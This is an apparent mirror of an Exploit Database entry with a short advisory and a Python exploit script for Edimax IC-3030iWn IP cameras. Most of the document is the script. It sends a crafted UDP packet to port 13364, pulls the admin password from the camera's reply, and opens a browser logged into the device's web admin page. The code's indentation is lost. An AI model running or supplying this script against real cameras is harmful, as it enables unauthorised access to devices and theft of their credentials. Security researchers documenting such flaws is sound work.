Edimax IC-3030iWn – UDP Packet Password Information Disclosure

• Exploit Database
• 18 阅读

• 作者： y3dips
  日期： 2012-06-14
• 类别：

  • remote
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/37405/

• source: https://www.securityfocus.com/bid/54006/info
  
  Edimax IC-3030iWn is prone to an information-disclosure vulnerability.
  
  Successful exploits will allow a remote attacker to gain access to sensitive information. Information obtained will aid in further attacks. 
  
  #!/usr/bin/env python
  """
  # Exploit Title: Edimax IC-3030iWn Web Admin Auth Bypass exploit
  # Date: 4 April 2012
  # Exploit Author: y3dips@echo.or.id, @y3dips
  # URL: http://echo.or.id
  # Vendor Homepage: http://www.edimax.com
  # Sourcecode Link: http://www.edimax.com/en/produce_detail.php?pd_id=352&pl1_id=8&pl2_id=91
  # Also Tested on:
   - Edimax IC-3015
   - Airlive WN 500
  # Bug found by: Ben Schmidt for RXS-3211 IP camera http://www.securityfocus.com/archive/1/518123
  # To successfully automate your browser launch, change browser path.
  """
  
  import socket
  import webbrowser
  import sys
  
  if len(sys.argv) != 2:
  print "Eg: ./edimaxpwned.py edimax-IP"
  sys.exit(1)
  
  port=13364
  target= sys.argv[1]
  
  
  def read_pw(target, port):
  devmac = "\xff\xff\xff\xff\xff\xff"
  code="\x00\x06\xff\xf9" #for unicast reply
  data=devmac+code
  sock =socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
  sock.connect((target,port))
  try:
  sock.send(data)
  sock.settimeout(5)
  tmp = sock.recv(4096)
  return tmp
  except socket.timeout:
  return None
  
  def pwned_edi():
  data=read_pw(target, port)
  if data != None:
  data=data[365:377]
  pw=data.strip("\x00")
  webbrowser.get("/Applications/Firefox.app/Contents/MacOS/firefox-bin %s" ).open('http://admin:'+pw+'@'+target+'/index.asp')
  else:
  print "Socket timeOut or not Vulnerable"
  
  pwned_edi()